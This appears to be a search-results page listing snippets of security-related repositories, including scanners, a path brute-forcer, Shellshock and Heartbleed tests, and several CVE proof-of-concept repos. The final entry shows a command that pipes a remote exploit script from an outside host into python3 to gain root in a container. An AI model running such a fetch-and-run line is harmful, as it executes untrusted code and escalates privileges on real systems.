16480 matches found
ssllabs.rb
ssllabs.rb Gema de Ruby para la prueba de servidores de Qualys SSL Labs. Notas de la API Todos los objetos de la API descritos en la documentación de la API de SSL Labs se exponen como objetos nativos de Ruby. Las propiedades se acceden con nombres "underscored", es decir, endpoint.hoststarttime...
scanless
⚠️ I am no longer maintaining scanless as of August 2023. ⚠️ scanless This is a Python command-line utility and library for using websites that can perform port scans on your behalf. Supported Online Port Scanners ipfingerprints spiderip standingtech viewdns yougetsignal Install Do it up: $ pip...
pathprober
pathprober Probe and discover HTTP pathname using brute-force methodology and filtered by specific word or 2 words at once. Purpose Brute-forcing website directories or HTTP pathname and validate using HTTP response code is not relevant anymore. This tool will help you to perform a penetration...
CESS
CESS — Secreto de Shamir Encantado Criptológicamente ¿Esto es basura o chapuza de IA? Un criptógrafo o implementador serio que revise CESS normalmente abrirá vectors/ y testdata/ antes de leer prosa. El conjunto de pruebas es la prueba de trabajo: codifica conocimiento de dominio que no puede...
bash-shellshock
bash-shellshock Cookbook 本 Cookbook 旨在测试并可选择性地修复 bash 的 “Shellshock” 漏洞，其正式名称为 cve-2014-7169。 一旦 Chef-client 在一个或多个主机上执行了此 Recipe，即可通过 knife search: 从 Chef 服务器检索所有存在 “Shellshock” 利用漏洞的节点列表： knife search node 'bash:shellshockvulnerable' 限制 本 Cookbook 依赖于操作系统原生的包管理系统来提供已修补版本的 bash 包。 要求 平台 已在 CentO...
Heartbleed
Heartbleed 测试服务器。带有 Mozilla 的缓存机制。 将 SAMPLE.aws-config.json 安装为 /.aws-config.json 或 /etc/aws-config.json，或放在由 GODYNAMOCONFFILE 环境变量指定的路径中。 Usage: HBserver --redir-host= --listen= --expiry= HBserver -h | --help HBserver --version Options: --redir-host HOST 将请求 "/" 重定向到此主机。 --listen ADDR:PORT...
CVE-2017-0248-Test
此存储库没有 README。...
CVE-2024-39700-PoC
CVE-2024-39700 概念验证 使用此模板并启用测试选项创建的仓库会包含 update-integration-tests.yml workflow，该 workflow 存在 RCE 漏洞。 PoC PR: https://github.com/LOURC0D3/CVE-2024-39700-PoC/pull/2 提交 操作结果: https://github.com/LOURC0D3/CVE-2024-39700-PoC/actions/runs/10157571828/job/28087926847 结果 这不是我的漏洞，我只是为它制作了一个PoC。 参考...
bugtest
bugtest CVE-2025-43529 测试...
Best-Practices-Cybersecurity-Otanata-Project
CP3418BestPracticesCybersecurityOTANATAProject CVE-2024-3273 — 授权渗透测试报告 D-Link DNS-320L NAS | 客户: Otonata 概述 该仓库包含针对 D-Link DNS-320L NAS 设备（客户 Otonata，Johnny Yap 先生）进行的授权渗透测试的完整安全评估报告，作为詹姆斯库克大学新加坡校区 CP3418 网络安全最佳实践课程的一部分。 角色：Web 应用程序和 API 安全测试员 日期：2026 年 3 月 目标：D-Link DNS-320L NAS —...
log4jtest
Introducción Este repositorio está configurado para probar rápidamente la vulnerabilidad log4j usando Docker y Hashicorp Terraform. Todos los componentes de esta prueba se ejecutarán en contenedores Docker dentro de la red Docker, accesibles a través de 'host.docker.internal'. Créditos / Descargo...
heaplens
🔎 Heaplens Proyecto del Laboratorio II de Ciberseguridad CMPT733 📂 Estructura del Repositorio . ├── README.md ├── heaplens.png ├── heaplens.py ├── logs │ ├── sudoedit-.txt │ └── ... └── tests ├── Makefile ├── env-in-heap └── ... README.md: ¡aquí mismo! heaplens.py: el script principal logs/:...
Vulnerabilities
Miscelánea Vulnerabilidades encontradas durante las pruebas...
martian
Martian Proxy Martian Proxy 是一个可编程的 HTTP 代理，专为测试而设计。 如果你想要： 验证所有（或部分）请求是否安全 在网络层模拟外部服务 注入标头、修改 Cookie 或对 HTTP 请求和响应执行其他变更 验证回传是否在你预期的时间发生 解包加密流量（需在浏览器中安装 CA 证书） 那么 Martian 是一个很好的工具。 借助 Go 的交叉编译特性，Martian 可以部署在任何 Go 支持的目标平台上。 最新版本 v3.0.0 系统要求 Go 1.11 Go 模块支持 Martian Proxy 从 v3.0.0 开始支持 Go 模块。如果你使用...
testanull-CVE-2021-22005.py
Este repositorio no tiene un README...
automerge-test
Kitploit: Herramientas de Seguridad de Código Abierto Kitploit es un directorio de herramientas de seguridad de código abierto que proporciona una amplia gama de recursos para profesionales de la ciberseguridad, investigadores y entusiastas. La plataforma agrega y organiza herramientas de diversa...
CVE-2025-4476-Exploit
Exploit CVE-2025-4476 Un pequeño cliente de prueba en Python para enviar solicitudes HTTP GET con una cabecera Authorization: Basic de tamaño excesivo. Esta herramienta está destinada a pruebas de laboratorio e investigación sobre problemas de análisis de cabeceras por ejemplo, errores de...
cve-2026-3854-test
CVE-2026-3854 prueba de omisión de parche webhook-baseline-test 1777481540 webhook-inject-test 1777481589...
TEST-CVE-2026-31431
TEST-CVE-2026-31431 oc new-app -n default https://github.com/gmeghnag/TEST-CVE-2026-31431 oc rsh -n default deployment/test-cve-2026-31431 sh-5.1$ id uid=10011001 gid=0root groups=0root sh-5.1$ curl -s https://copy.fail/exp | python3.12 && su root@test-cve-2026-31431-78f6d9cc97-n7d5j / id uid=0ro...